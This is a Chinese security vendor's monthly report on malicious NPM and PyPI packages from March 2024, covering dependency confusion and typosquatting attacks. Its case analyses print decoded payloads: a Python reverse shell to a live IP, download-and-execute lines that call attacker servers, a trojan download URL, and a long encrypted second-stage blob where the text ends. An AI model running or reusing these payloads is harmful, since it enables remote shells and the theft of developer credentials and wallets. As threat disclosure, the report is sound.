供应链投毒预警 | 开源供应链投毒202403月报发布啦!(含投毒案例分析)

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,能够第一时间捕获开源组件仓库中的恶意投毒攻击。在2024年3月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获1085个不同版本的恶意组件包,其中NPM仓库投毒占比38.53%, Pypi仓库投毒占比61.47%,;在3月26~27号,Pypi官方仓库遭遇一次集中式的恶意投毒,攻击者连续投放将近600个恶意Python组件,这也导致Pypi仓库的月度投毒数量在三月月底一举反超NPM仓库。

3月份恶意组件数量及仓库分布

3月份恶意组件每日统计

3月份恶意组件态势统计

针对3月份捕获的恶意投毒组件,我们结合静态规则扫描、源代码审计、动态行为监控等方式进行多方位分析,总结统计投毒组件的攻击方式和恶意行为标签。

攻击方式统计

投毒组件攻击方式主要包括:

  • 恶意文件执行
  • 代码混淆执行
  • 恶意文件下载
  • 恶意文件释放
  • shell命令执行

其中,投毒者最常用的攻击方式依旧是恶意文件执行(45.44%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。此外,恶意代码混淆(26.61%)、恶意文件远程下载执行(25.94%)、恶意文件释放执行(1.09%)以及直接执行恶意shell命令(0.92%)都是常见的投毒攻击手段。

恶意行为统计

3月份捕获的恶意投毒组件中,信息窃取攻击占比约46%,开发者系统的密码文件、用户信息、网络配置、系统版本、DNS服务器IP、系统外网IP、浏览器保存的cookie、密码及登录凭证等敏感信息是攻击者的主要窃取目标。值得关注的是,有超过一半数量的恶意组件会对系统中数字钱包插件或数字钱包应用进行数据盗取和APP劫持攻击。其次,反向shell后门和远控木马攻击相对占比较少。

投毒案例分析

本节将从3月份捕获的开源组件恶意包中选取部分具有代表性的投毒样本进行分析、还原投毒攻击细节。

Part 1系统信息外传

3月9号,攻击者在NPM官方仓库发布包名为salesforce-service-cloud,版本号为99.99.99的恶意NPM组件,其通过伪装成Salesforce云服务组件进行依赖混淆(Dependency Confusion)投毒攻击。在组件安装包的模块描述文件package.json中,通过定义preinstall指令在安装过程中执行恶意文件index.js

该恶意组件总下载量约60次:

恶意文件index.js被混淆保护,混淆代码如下所示:

对混淆代码进行还原后(下图所示)可知,该恶意文件主要功能是将受害者系统的敏感信息(系统用户id、用户名、用户目录、主机名、DNS服务器IP等)通过HTTPS POST方式外传到攻击者服务器。
https://bhfvohxbvhtizkooshbfose8s0i1m2yus.oast.fun

Part 2反向shell后门

3月11号~12号,Python组件包evilshielded发布0.0.2和0.0.9两个版本更新包,这两个版本代码中包含针对Linux系统进行反向shell后门攻击的恶意代码。该恶意Python组件总下载量为737次。

在组件模块入口__init__.py中加载执行utils.py中的NetUtils.run()函数,run()函数通过subprocess.Popen()执行base64编码的反向shell后门代码(如下图所示)。

被Base64编码的URL:

aHR0cHM6Ly9kcml2ZS51c2VyY29udGVudC5nb29nbGUuY29tL2Rvd25sb2FkP2lkPTEySnN6UnprZlZkWFRYbmRwS2kyWkdYMHRWcHZ4aWRDcCZleHBvcnQ9ZG93bmxvYWQmYXV0aHVzZXI9MCZjb25maXJtPXQmdXVpZD0wMzY2YjM1Mi1iNzFlLTQyZDYtODBmMC0wMzZlMzAyYmQ3Y2QmYXQ9QVBaVW5UVV81Ymw2cDdoLXFoSGYxMFlBWE1PbDoxNzEwMTY5MzI0MzQx

解码后为:

https://drive.usercontent.google.com/download?id=12JszRzkfVdXTXndpKi2ZGX0tVpvxidCp&export=download&authuser=0&confirm=t&uuid=0366b352-b71e-42d6-80f0-036e302bd7cd&at=APZUnTU_5bl6p7h-qhHf10YAXMOl:1710169324341

请求该URL可以获取攻击者用于反向shell后门的远控服务器IP及端口,目前该URL返回数据为:157.245.70.91:1338

反向shell后门代码同样也被base64编码:

aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMzRhMDQwMDViY2FmMjA2ZWVjOTkwYmQ5NjM3ZDlmZGI2NzI1ZTBhMGMwZDRhZWJmMDAzZjE3ZjRjOTU2ZWI1YyIsMTMzOCkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigic2giKTs=

解码后还原出原始恶意代码,是一段常见的针对Linux系统的Python反向shell后门代码:

import os,pty,socket;s=socket.socket();s.connect(("34a04005bcaf206eec990bd9637d9fdb6725e0a0c0d4aebf003f17f4c956eb5c",1338));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh");

恶意组件执行时,反向shell后门代码中的:

“34a04005bcaf206eec990bd9637d9fdb6725e0a0c0d4aebf003f17f4c956eb5c”将被替换为动态请求获取远控服务器IP地址:157.245.70.91。

如果受害者系统为Linux系统,系统bash shell将反弹到远控服务器(157.245.70.91:1338)上,攻击者可对受害者系统进行远程shell后门控制。

Part 3 恶意木马植入

3月9号, Python组件pytimicer-c在官方Pypi上连续发布10个不同版本恶意包。pytimicer-c组件目前下载量接近2000次。

恶意组件的主模块pytimicer_c.py中被嵌入zip压缩及base64编码后的恶意代码。(如下图所示)

解压后还原出原始恶意代码如下所示:

恶意代码从Dropbox上下载新的恶意程序WinDef.exe到受害者系统上(%AppData%\TMP\ windef.exe)执行。

https://dl.dropbox.com/scl/fi/jeyh5skw4yfejo89jrms9/windef.exe?rlkey=8eskz8wpj79mqjn0b8bf2uhoz&dl=0 

windef.exe被多款杀毒引擎判定为恶意木马

Part 4 远程shell执行

Python组件包requestlogger在安装时调用setup.py中CustomInstallCommand。execute_script()函数从攻击者服务器加载恶意shell脚本并执行。目前该恶意Python组件总下载量为227次。

如下图所示,远程bash shell脚本地址被base64编码:

aHR0cHM6Ly9ydWlrZWZpdmUub3NzLWNuLXNoYW5naGFpLmFsaXl1bmNzLmNvbS90ZXN0LnNoCg

解码后为:

https://ruikefive.oss-cn-shanghai.aliyuncs.com/test.sh

目前该远程shell仅用于统计受害者的HTTP请求数据。不排除攻击者会进一步投递危害性更高的恶意shell脚本。

#!/bin/bash# URL encoded in Base64encoded_url="aHR0cDovLzQ3LjI0NS4xNC4xNzQ6ODA4OC9nbzEyMzMyMQo="# Decode the URLdecoded_url=$(echo $encoded_url | base64 -d)# Use wget to download the filecurl $decoded_url

Part 5 数字钱包APP劫持

3月26~27号,投毒者对Pypi官方仓库进行集中式投放将近600个恶意Python组件包,这些恶意组件尝试利用包名错误拼写(Typosquatting)的方式进行攻击,目标主要针对流行度较高的知名Python组件(例如Requests、Selenium、Py-cord、Pillow、Colorama、Matplotlib、PyTorch、TensorFlow等)。Python开发者在安装组件时,如果错误输入包名,则有可能遭受该投毒攻击。这些恶意投毒包属于同一团伙投放,具备相同的攻击代码,主要会盗取受害者系统中的浏览器、Discord、数字钱包等应用数据,并且会远程下载恶意木马程序加入Windows系统启动项试图完成攻击开机自启动。

值得关注的是,其中有56个恶意包是针对人工智能算法框架PyTorch和TensorFlow的投毒攻击:

截至目前,这批针对PyTorch和TensorFlow的恶意组件在Pypi官方仓库上的下载量为3539次。

以恶意组件PyTorchc为例,组件安装包setup.py中被植入恶意代码:

恶意代码使用Fernet进行加密:

exec(Fernet(b'2k5TVyORdUD5UrLXToJRjjFvpr3xJ3QN9WnSNQeDM1M=').decrypt(b'gAAAAABmBIK8qP5tEvN-GNDRj1p_MwdRwjdSGeBxTXksWWhXXrkg5Xxo3C9kBnGZJuyDlMhy7IsyXsyj3K6Zmwm-y74cBxGfkMfPVUsWZgiuB1XPP_SNlhMhzLkLVxwG-jY2eRmjXS18PhvBJTNLFklkdDclRQDKNmf_4jH3tSgW_sgPJkqAaV6f-2UVMdKvooVjRQ_8L1iiZWZTf0Fdd5B-XSklKqpKfRtSAX2074fIxc4uq4KuCUI=')

解密后还原出第一阶段攻击代码:

exec(requests.get('https://funcaptcha.ru/paste2?package=PyTorchc').text.replace('','').replace('',''))

第一阶段攻击代码从攻击者服务器下载第二阶段攻击代码gruppe.py到Windows系统APPDATA目录下并执行。

import sysimport oscontent = """import subprocessimport syssubprocess.run(["cmd.exe", "/c", sys.executable, "-m", "pip", "install", "fernet"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)from fernet import Fernetexec(Fernet(b'0NZNQrY2qyKltdz3nQgN4wnPHJdzu18uXtOdMNS8x3E=').decrypt(b'gAAAAABl_v2rIKNwUIj1-LLysVYRVLDkHgDbtUsagitz280rJx3tgq5oJuAa0kmHPdVhu8A6VcXxNpZe0r0Uy468_3x4SOPWVZvicCIf6JC1FnewAm4LPQ7ICRPa8jg5dbZ1lHDyrM1Cb7jeC-b1ah9JSPM0zEpGMUxlSW4i-NwaOwGoXfnSVkr6imHP40hjWUjnuXXcdYglkY-7haOsVIPX7r5TwnPjut2y2qld0FlOTBu1ZiJk3SN_JyiljyHUA40aV0P5T1tvdQ-lOSkr1pvGorAmQ81KWpS1HRL_bc9JPxplcnqv3aby-pQ85oTANv3eXm4SqyiI9FOJoFYxFvkxQofPeJZxwAf_I-vsWqjx8CCsCqR3r6R4mCrBGIHqUQ6plstJiqlpko-CRF4MDaSLSQlB90bBJyAjoI0PH9oYiw9HJX-nA_70m2f1e6zzk4gRjhM4QIP1S9tM5IXUEiNBhpjYjK-gWrqqgMNXh9WapyahD9S5BH2y8wKN4SsajFX-adUu_Qj9KeiclkrPvk9fTVigLcxlS7Zs0c4387YdSBrw1oSzHsyMF7JTRjv0s5-brfg2xR2JVZjZAeHzeG9nqwz4qb-_KaUXJgYDES5MDinpPlSv0OEO7xOQIlSTKEj6uUsXitX8qZFaFh40qL6HuXKVbnt5_S7tj4FQODoNGL8VwOkvYhV95XVMDmU9sGD6oHE3KZIj_-IAGwvj2yxLTTSV-SDh88KJHXh7qqYMt3S85bF-a3nQKq1N-ENvqKmNgbdtHBvgEzjdItqvUU6UYFKE42E6U_nzB1sfc1o8B0QQJP9PrvTnwOElRrT13_3DnlcmnOBMu69S_wFrO_Cu_5T5gwC8iPKG83I9Eb3EP-CRUdJmRtHMtU965PLZMzcrtMu3oFWcif_l-92dt2BBgjt_ygGZUHXUC3tromxoAYfckb-VRS2mb8vhJTRmByKGPktQRyOBqRlDiaKYcfRsecSElls0bqSGi2viy6ur_vlosUP8pbtgKFaWFBGEJTkfYnmlkqsiixSv_R_TKOLN1QornDfNWVOEUBb_VgZACC_fJEs8jktB1I0af_5Z5ANlXV1oIdVprgguVXuDKCW9xbyj6aONDztQ-W2tUJlVWdW_QCv7evBvaahMukQk0F238rpyDh2tX1nruEwzrc6yUJDRLps4Rnf3xX8WYCq1YYh0nNEuMTTvdfRWihC6rPWvieLuwc-tu1SXDAxwYSTMZ7HjmuUavRwGjjMBO0I2eZycQrufPyvvE8fVPuT_fV35ChJNRzVUoFZL-n2TZxUwkCTPqdA4gFZn2vaMQFZCpzlfZISpi2ODpMUZ9QioOEaaeCJNE5ivMRE-7oW5a9FKB9376wMN45br3q83nxFIHhXQuh7UODGLUWkO_92do_OyxXUqkTsqdJ-87Q9CAx6ljOzhNS4dVz9ubFPHiItnPFHKHDjT_QYsyrrqdYnvkU6LfG2CFW6o87L_PkYhtefQ23PJMUTGPhljOkcgxCV3VwPMvARDPKq3uvtqji7RiRMgyr2kI-jm9Bhb8lPmKmO_Mt9v_p0XseCYY5lV8Kk1oB2OwOhUO6tDcnUW1nLhS8pZaT-Ihie9YS5zIityfeRpmjwGpsmjbJ7CL-9J5ZNwVxgmCNbIYWk9H989lncbVbQ1k9cuKWUMScte4s8ilMahO6wQFxZr7sGh4OuoOJSzM1M0n0sZTDrglPlTL5akFlbTECx9rwSvBk4yoXVbiDHaI_RflczlLMrQ4Nc1SRiH3KOQAvz6PykagMFuZCEJ4Sq6l0Z4Nbo9W0eb3KF2rITfruyCurQXzRgHU28iE3iFIBTZIAT_2I3bAycFV7ZEm2kvbDRkD-6aCLyZTBrE7bMIN2azGpeUJYPqCVrL5C-4KHGYjeqndet4HliNw3Rl1b-HOev3CQ6lt__X1dJvKKe80hp4RFhynMop3BE6P8SO6H9NI6xDFFB8kKI5sm66qB9uCsryVfaleR9NDLc2c7Net3brZOu2WRmwGBrmC2rJvU-YRkysZZoiLJa0wNq3jhXQEgl5EBAaajskCgJAbxJIVafo2ipE9RJJg5RQIHawryCnMoD6km12s8FO3_PuxVpD8nJFqrgowNxCVGBVdJxbTRkxFW_3dCjrD8_v-Bit-wGdLDYMv3SFG6Q9aqMSkQcdSgfJjiu5Cp2ALA5Yw7E6UFhJVpZBuaYRp9OuyNesnUwRuA_cabyKVXyLFDIWTx0vv_B6TnNvEGYOTkaBTkD9eDpijxqwxd4WqvwwERDdYfOMAEw792bgW7wOJ-RiFEAZzA1HROo8n5xipO69SLISKI7ysFRPMZ_8lsSWOCGaylYrR72Cyfa1ltXOCwA2PmWjW6Ium13H3d0nw2VYaQv3xW-LhaE8TEVpdq7abYC03kizXDLqIgf6qrmiTwF-j4hlf28SF9tIV_tsi5uc9empYXgwODfQ-ceNIgDhdZgy3f284eITmiA2fgvHg1OGFC9-bcYv6khjBuUBeim_LD8PGAIxecWu2tjb0aBamtGHzS4TKUR6NULNjvRHp5U75tCiVIHromOth1B44r2-r-6wF1oZvqNHb4qZOwQLoItyplbVm0dcy0sPkuxPmT-IY_qPIy3GFV8-RUBvKm_aHGN_rrYDrZ8JAgm9FOUJlKbfjberTR13CpdolgaNcGoW4x6qrmLiQlympHsAEkQMiZyVKtGwHZccDX3p4MsvRqUMwejAWUdiMTQMPaWo5QuUI3kqVqbM70jDm4rQqLoKiDvvYuAGIetux1px46SAdpCe5n8el00ao8W9Njm3DorE-y1eUmXbzAutfnm3ap5AMOvZFFPQ4o9iQv5ZIed35hdJOYeoPhpq1W1-bNJmWs2Rn13o1154DsA_3C_Lk9qz2UVp8dbMv95vlL5OL1T8zyU7_V-PaH1eLnBq8TcwAlksBxa5aJDb-KKliUXTzFYCXFp2QT-m9Yo32_vxbkTmhJhw930g7Yy5nSc_pj0UkMqZ8vDLoF9-TGJYZ5ba13jlzT7XoSnXblxd0dJxthdZrCkcgHl9IY9dT3EFDyXfHzfZ6JnFss8lfCCvgC3jgemaWXVs4JuzGUhqhedckhnWRgk_DzxcsDQTwvzZVtHsvQ4gFS718_F-mu2q5gVuRoSlgirkRa1Yc_ftF3IsXa3NnrImJWedkbPfcTalYzjFx9zXqFeLYAAfLEdjkmJSNxlKgcqNU9ICZz5xRXHGHuiKWOLmsZtnar93ze9-oOcBFSGzQg3wULZ1sp4BqyhFr92PPIJT7zfV1GoTGRaRBlxMrQID1q3fnyOfXM25MkR3PnR_fWhYv1sqJSXrzCNaU29n-iBlFjX07l6tg4tcHBz8V4bsu1yfC-uS_Im8CYOj9yiEQLM3Nu2m2BWhLQzhOTJ8H2Exq49YwdQhqxtogLfgthPsHb9okl9rXdv9nJXWshcaND9cCsFgMCeZS0Cokl4ZrV7H6tkN0fLxbwAJ_N2M3B070abwb3nxkIgxjKm003-9hvoZ2IcDyc6207XJDLiUAK4b5O_WJCaTAbGDdETuHCgH6NYl_koZvdxkhF4t7GLqDELzi6Jg0OGRlhG0vRBjMhzeXpHiBDDmapK4qcUKV681m45k6zotzCP69wWYES27cyITGUGGYBBzKpbEcnGcILcnn4iULZo3EKEPR8NSShsjh-kxubLAYOT0OqNgoVjTnOK0K4nFUZiV8fmPVbxyOAM-YNunOx24M9nOoevq62jP3F5JLI75F2ULaCyjNjW73gSKc7hfDUeNJyM1ksWkma5xrKesOcvAJkSw6LKJe_HNP9cfwFGnMgjRI9kILUMhXCK7xhR0WX0ZX3tEwlG8ByKeb4ohR4eDZiEFpAOqGMaiXDB2ntU5TPuf4s_sRGMXq_1TOhC3q0Z52c9wg1VdOhgTG2k_ZoG8K3sPsJdtfEtw3Gdt1xdBDVFIPVkylzR2WMARzf85TSahqwSKwEnEn4aDH0rPlLwCeKLNIJ3UMzEefS6FaUnIkb2zcHxawxufQvWTX1M2xnRR6hTTNgGcy4LaeWEmcwerpC8f4w-Ottdm6kaxmcJKtgcWTweRw-CFdoap6lx_wm7eVcFUM5Lw8BjOxsKHy3ASZyuuFV9UhlHJyxZYEfZ5o8qyDfp2iZ_sv_krEKFlIrPt7dLD1JuvR9JGaWcsOmOgNl0zthX1El-UWn8Qgei7SPFTaZzBwpqqm4Rrm2PMdwz-odPb6PbYiz_HcsGFdlVVm8EmMH2Vt7H204DKlKZMSv-49Ih2bO0n4v-BjqlTjRCSLB2W5MsJRzangCpvhrXP0fb5d2vLnOiMi82RZWsHFIIvc1vWyxF4R0B0NIODgFk5ZGn6If2Urrk5ULlS7H2kD1Da8T40Ga3AhvaBt6JCG6fXGutRrNGMTakrzVBJI5Q2zqVpfFQgYqTtZoY9isclkk8nKjMdI5nToNJImclzFm4AmYIS7OHMkpsmROi0DZ1lG5xuTIMXuQ7tuPBggkLVdY7CUeOrXczMUsybzuVa1RsOLcWK5jwv2npdCH5ZJix-_vnY145aB2LFYzXZm7BHRvrZs-4zD7gM3WUlHwjPTMc72FiutYRx5jWwNlIEHoLkm1TEc2VctGBHPGuDThMWKM5LJzfc2BqWGiw3iuUtKa9be9pfr0mcQddoM4ycnsr0mXbzPkAbtEgHJccV3B4aB_EeV-O459wXFnTk6nsXHdw0P5VcuJ_m_ShhCc7V9SFtb9zfU_AOcKhhMe9fEiY9SSD271wonXbvMBQopMbwLopWQnxDbdOH0MC_e5UMAr_oJk65Kc9FO9LTR5TyzjGu2TmGqmMt4H9owGzIgvae-d3UsRJweKrYB99y8WMqSS8DiDmKgaPYnBN0qJ4jJ0UGYN2Q5YbR3sCZ1m9HC04Zr5veeLuktmyVdkUZnx5zGTJ815h0BqBl4vOWBAs_VSw9nITttql7wh68Ari6uW1vFCPc6EVnFljKim1PnfS6olsGETbxLgjoVM5k_YOeIpdixdGxGM0Uue5AGdA6bzw1nnk4y0QWPz5VMvMeneh1d4Yzus7YUtlcPH9bOZBnEy1WUdOS5IYhszh5fUhY_hednpWzt6pd2KG8M8120LZkOdEpzvEDOQXExd_myahJJnNLctygAGdGw1BuroBlHNUKdzJP2IDnrHrzmZxzFAJr2Y2QTNp9CpkHbgXpq6xpvaz5e3PyYIjXLfj7i_EODWM9l5qFLWMm5TqFpPXFGqEi6jNjaOTdGGZnuUww85dr0zf07vCiZUfwBzS0cBc4if3_tirwveNGUpg6M5dV1kdQI7NC0FmPqLdrrFgsOx6iYRoH-EZwwyUa0PlPylrT_P-c5CJKgpwR3eyY4XoUuwN47YUZVfYgizYnM6OihOttVc5iS5vsVK0-TyP-MeTDI46kmkXQbGVWyoGuvx4yJ_MUM89z-woGQ3Jt-txGlJqhhO0DbQ4uq4vR0TZF7J0nhvtJ7ru9RQ9grjCsKie5HSqrq2GFVndKJOCq1i-NS_54UjWngWSMnRImBD4w0gPwRPZ3KRJAVP_44VMrCNBVYBvx5vWDgBCroRT2_31J9q1O6cSnI6GcVxWdx5SXc4RmVmFzXJicuxfmxeV40obeQePkw3EUhjCEWm_TByonlTpKKLjtj6F0dJWvCvHmwFp0ErXUuTvGX9jCJYiElXgl-CcVMvo-x6y61pO-h7nFCh5BtJDXkuxbkZTrlailJ1-RZr4pcPtA9bi-foH-gZL0Kg6efv4oXQlSG691oac8edjBIM5Wu5NUWdR887mD5Ji5NlXn6bVkMmyI34y2z8y3zg2qJk-ZpzXo4hCc8_QQjGKJ-CVf_f63Y-wxx2PxzUSj8QNn4XO_w02yj0Rp1sQZfn97zEy7BjPurois6_hdJ0ZpJK7VhPYHJs4hxIIv3uT95bSt6f4Ukh_T0f8-FS_mOe-IGXKhpchc-8JK-EwXEDaQmfxWuGMTp4ODI1GNuO7vLNZxmv4vKZI0ghA9Pd2UlKnWcuFX9IxDiPaoH8136eBqCRmKy9qPa4RVg9mw4Tsfz7X3vhQPM5OFn0OqBqkEhPpXytf-YRqlKHTGPj7LQ0c3A14fJ_JB0of30sm1P1jy-7q89HPiZpJzOSqDw0WTo8UHPbcpaE8hF_ONLPbglzc3MZJjRhDTqu3UuN-93xFDKQ2zc_NLxwW5HLCjER_5aHrFGaGpt3tHhpv_PoY2R5notkI0xmPoTSpD8D5aL7KRZbcjHCdMBXiiD9SusasZak_SpO_f4_pztnfZjvWGfslvhOIcJ27c0YhFFg6paGPtpQlWRgZkwCAQ92q12UHoYm3uDE7jSB5np-O6CvJjfo0wOS3fIh76XhnjJPfdJVGuiVDibnQA0O61_qKSnetdmZ3rI8Iqit6p54k45AqpnbdUmhSLHR0LT6hmGCiFfeU4mofIow_eJbLXNJ3A55ZqEVaXL9u9uPvib-XhL69Uxe6cLbLCZzJ522rFR009fAV7iz6u265EZLAyQSPqEPy114uV1FzAn_Oj0eC1yngt2PLWkCZf21t8dVgbl9dhEjPQ7PYGifm5YnpgDhssMz30sHgBrkb9-RR_501k0d8sYXDidaPkA8ruL8BAJa628eFPp5wMAsaWr628O-H4XCpRDMQZqpXtQ4DNc0RyoF_mqc4LWcR_ufj4Oya8dQPBNSSd-DTU4qRTha6aT2BE-p1q0HObn3kSC3qFb06ix27ie_VDuwzeFRvM6K4FvaagfuoVH37Hpg91_zaTPG84JhQFPjczjXx0hm6VgquRhdvhMsyAzSOdyt-UogCpvdXe2nfYT2j-iPTHjJ60a1Lh46Mr6IuAKMHcLWM2A7EMDGw75mnT45tpprrPB3-PnQ5JNe_A9dvUoh1ixzL9dkXXqj3U9sPkZR_XdzzKKTVmv9TSIhtSKAv5UkC6JJhe2rJ_y5C5Ri-rZ7cF6Wcdh53BDfMIEkbUiTTiNjVh90un5hl76HZweIY5TYwXm8OLi22SgjgJpoYzi9Tu94cBFml-ORHmUtQ5W_RphChdYCwdBNFLtarTYXBCsOlrRWC8sZZ_gS1uGrSWLZTZEqQSSHppz5y6YdG71Sv0qzry0lwQgaLVpmRHCeofdCI8Irwx7kaZdPP_dUstPSkjoh_Lp9wQm7cNG6iJjFdZUY-_ERgoHPE8JAMfXG_kghfEBoooOM_ewy2MPLW24RqBsQFj57mAvM3BJ06kK3uw2VuHhuynvkfuJdM2pR9UjmxSXCJ-zPjKU3PwImWFPqxpVZGfdzsgXEbLoJAAEApr6C0qfUHmmqJhQevkytZkun19-CGB1gYEZkfff4nDW5X8CJy_SawoNHPgJt_2eJE4leWeMOfjIAHLtq8AucjV256gHX49jtfFLQeUy48dvILF3oJsfKRljXMjAL2Kh3vcsn5Jy0jkFUCdmR9nIsEcVessjgeWqrzrJnqnu0nZYo0s837WUeZ_sdubauKYdOHHzkkmgK6ivJir0FUJkaRyzIILOSerOQJqIUNjfulKe6pJzPNT6x9iJlKLBSSgQtjMvO6VooEcyhcy7P--z97OwFGuFzzrkc6x9tcD8WlTiIxvkcefIODP0D55bBtAO24U5iGivkF2hiQEaNGI41GuSrpW1mvFEL46JsQsklnE5X30_w2ZskSa4hYlAOpZ9LfhyH_OsFrFVD148bAqmKtGDlOgbJFhEHJr85vu3C5Ymk1AFd50m05m100R_Eko-j5n-MCvkuHIwLCV-u2duMCF5ihos7fd8RABtK2TxZZrcWo63QipIfVCsB-V_spee7MyI_6pe_v2ANR-GbKYud-EdNNtOV46Hif7HNsJ9uehUMtVV0mH-3fMohDgC-pXtoFhlprLwzmvAmLS8UdOhXPecnM4AXjpNZkt_ltEj8llxvs5W-96ciCA-K2JuTeTe9Lbx4UUZS0EYMJ3V9FyzqsWinCBvOJjwM0NRFtpKqCLqJqErbOTVlxzW90CmktKA_y_BCRqYWb8W6XH63l917lDfKW6eSXMSzjFEowwQDnR2tRfFPCp0GNdiebmcY1Nie-0pZNmgxl3gTu_hiem1BM2PKU4W4iTEtHZv7h3szBAWU-Zp8qg-kMQLEnOQ8nzsnO5gFu0cfWt5yYzasfDS2PZF8xQWWqRT0sWhN8S02Tvp8fOh4EmLiPGZxb8wAJSyjisDaatZm361p5ZBNd0QWLGJumSY68tOadKTGx-CJ_hQERiOKEdWEKQwcJtIoWhf_6ScYa7YnkPVpCB3R2CxqRmG4gExwp7Isd7kWqcZWB-QMO8LQ8b3oJqTviCC3C7BHOHm-NCWW68LGhAZUMWGYigU-FDdWnm0nPJYfx9WQAgIAsMYOv-0PM2KfQyfMyNC01I12z_9Bq8GgqQnFSJhIZLfXtVvVwjRMu4xMr5ajfBBWiTt0t-a-t2lXCR5DNVPWL2_jywhLzGr5baV3fUJ7HeOnomMMNxLPLOFJVCbSYyiWPKUAOGB7coVwjCFWeC-FsS4W0vMDBGhOu6YsQSjxa5D7XoxNR6tFKlEB2_3wBosbdFHBnbAd2noJ3x1pxmtfoGk7RJMS_OgJiMTZU8ux2mBUnCvryUrF8rnAupAALylK0b8bbPD65vHjxC0ZgvILMLH9Te50MaaHHm-9GKdzwoWSxXs4QIEiG0nsQMuRTshc49-io4OUuIFfmR1uPn0OjXxTXRfGUDo76v8ieRcvSY-ttZL17JGD8H_l695KIS2B47xn1COWjJd93eTDIzdsq8Ktmd9_Vnzi5CaylYpQuo9DB0fVzVKwwPNxTQAbSHRMAsbZCiYiYxIt4mefZFqo6i_xImdB3h8BvzvFcNC8n7KbTfnNBNCy3umCs3W_w6yn43p6wWBWxmrUFnpt-CZWA9G8F-Tz9bfWKo_3NroUPqNZmh7mkIzMa_C6DI6BL4rQLXfXfhiGJ1Izy6KLKniXLq-PtyQktelvHH8CGEJG9SyGlVQbZMr6j_9fKXqyMFxGjfDQ4PvDagLrbv53SVOoHxfmtmGb4qHuj6_Hee8OuEvPSss0sFxbxkQoWp1tqTzZoinWMAo5SjeB9MadeNMapruxqBRWzRaiDwBIlFnbkOxR87IyjdwUxtDfnXcP9vczvCnuiFkPTcOOskEEcJfOxeuoDdGrs5BLu0N6XRQF5783VA5JKiSu6pB--JIQJZ7lIjymU7xfxFPmHiD2VJKcKq7exoxF2wkF0OZv67simSk1Jm5XXkd0UDD9zFT3kE-YKo0XGuRx4usFjcNU9KBBCD2-30yt4uK1LTslcwMrj-MFo-Ixa3FA71Rr0YjgC7d8mLbNJadV3ofI89xRpWurUKWv0OGSJF0x0TlCPG6Uspiq3vclPqq5trUuK0TThE9r9SH319WfpSX3FnZoNyCfERO8VVWqPIyFyzksdTwSfDXz4vK4i423THR41PxIVzTKpo8RwlyyP73BOee3rllxo5F7lcGf4uAi-sEU0-JoWspIhiDaezjXN2ucpVLcK7ZtWg9fnuf6wzF42X0oJqAohe2xxn0zHubR1xmJ4P1YEs8NkWqWhYq3Y6cGXd-vfRRQ61QrVOEN8LfzpA-On7WVEHZ_Ml3q9CYjz5NwdVPpYs6YMMMa0TWEdZ7krkAsKcf8_kW4OftKPydoKKpBsAGpmtOmUa6IYBooc8wxhswffY-toiicqTniEz1Auoux_W6Xlkf2xoc5N4cGmQ5Fx-YT-UGz-0acCPt4Xj-IwN9wDr7WC8Cn9mBSgRmecExRcPGwYQaJcQESpoa0CMoKKDbOr7pIwJE3fEoJk9Y9Z8RyIjniIYxItz4EpL2tkb7Upc_d3ASOJypUD-pKJWFQ9JJK9lBoEwW_0OXRyX4sCq5R9R72Q3f45IxJLE4IG_ejjWkWa3J-nkvVyGN2_Et4P2ncHo3m8uhA3xtADgPvfFfm6OGC_49UvDidqKYLpCgLqMGfuQgvVljGxBHX36MSirsLIP1gnlisYEZtZR4ZeGedZsaP9b_Of4U4ynON8MWr7Gzn5JhXAzesgw9bGL9NJDbPfrKYmlDEqdXgueFX-PyM27aA1ETqsIYpkKRY-3WpQanGGm1RZ091BJ9iju8wWMmRNTYvdfXFfkPrHoJjwc6_Ban7MsENouuARbh3VYrqOUST-95WBiMduY17oOCmS--ocNunW_vqSKRzqeHDfzhnIjowsb2zQzpZE3S7fRW-YX1q6I8uYPJCKdyiV2HObrH6DuGxUXmDDGcbcU0HoKZiCS9-DbYtMYmmwdcsEtuaTeBKZacQc6GGHsdlPwFOGQKwzBajZhQLdfmw2i5NJhkOibKx_JTsVdbsDmkoDtqR_ZE8SE0Edp9VTWx6m1tQkJuQs3rtlAKk9QdRYouOAh87HAHeu_Lj_9CGm43lvAG76JIWpk8cbV7hfnZ8_vuydc8-uKbzUxaM1LGbFF5fulm_HWE4oD0mNQFA2WxZFvvermukgFIAZd8Mw4_K5e6xkinEbK2F5Fav7WD22pN8jVfcvKg0A2ncXitaaWT5t7NJ5yiLeS-y0RMV9W1Y8-dgcakqYSBdwjHLVeIfrvwDi7TAJ7jx8STbXicRf3JI9Mg5ZMAhqsx57n83pXqrkp3jgmzblvX8f8Bvtteswao1dH3ejPOmjdVY7WDTwuLAo0qdzp7OSXfj3gKJFtTbu5gE7H97vMrak9kBArJe7jd0eT-h3U1XRGHkL9P6BOhOalDb68DU7uAGGfwmkCtMVgkRX0uBGx5-Ekt32IV5mzR0Ae8orKQqs6smObhjZjVl8jACCXx2XiNZFK_QL-CmPRPUr02QaLKdZpGaneDq09iTg8p7NFQy0nRPd5QPw1YCB5r_ZVSn3GlbMbWQE-VcBd-AJu5TKIlJ8joOKBITqbYwkqsyCw9pa9C7vgIhJGmAI68B7fUzLPzeDjnf2mPOtbIeRVK3MG6-J4Hb9JtsyMyX5uKH3ejxgSNkpZAJ6By4DyZdshsljjA5ljGGaY-bP0qFI336DgsHovXQzy-1U5T90M-3n-C3aVF2aGZ63FaKDHVuacfo0tbR5OdMmQJ_YHFWzmPcliHRPsv73soK2UkWCuEQxqNzsNg3WmhM5srk5OXeuaqQJKWVvBkOy_w5Slyf2gn82l2Lwikpf-Irm26B1-Hq_iScqzD0j6ctPOEBcDlkgO9NLlue9Cu0o8HgpeHfjfq3K3JqJHWimsets0YuyvdeppvBn_HKg0DJaw-DbTBj4P9_GkxPeQDdybQBxhiGf44mV2CarhUAHCd6FUItBqivO5F3k_M4vFFPR4rkr1qI45_HyKdBOpKJ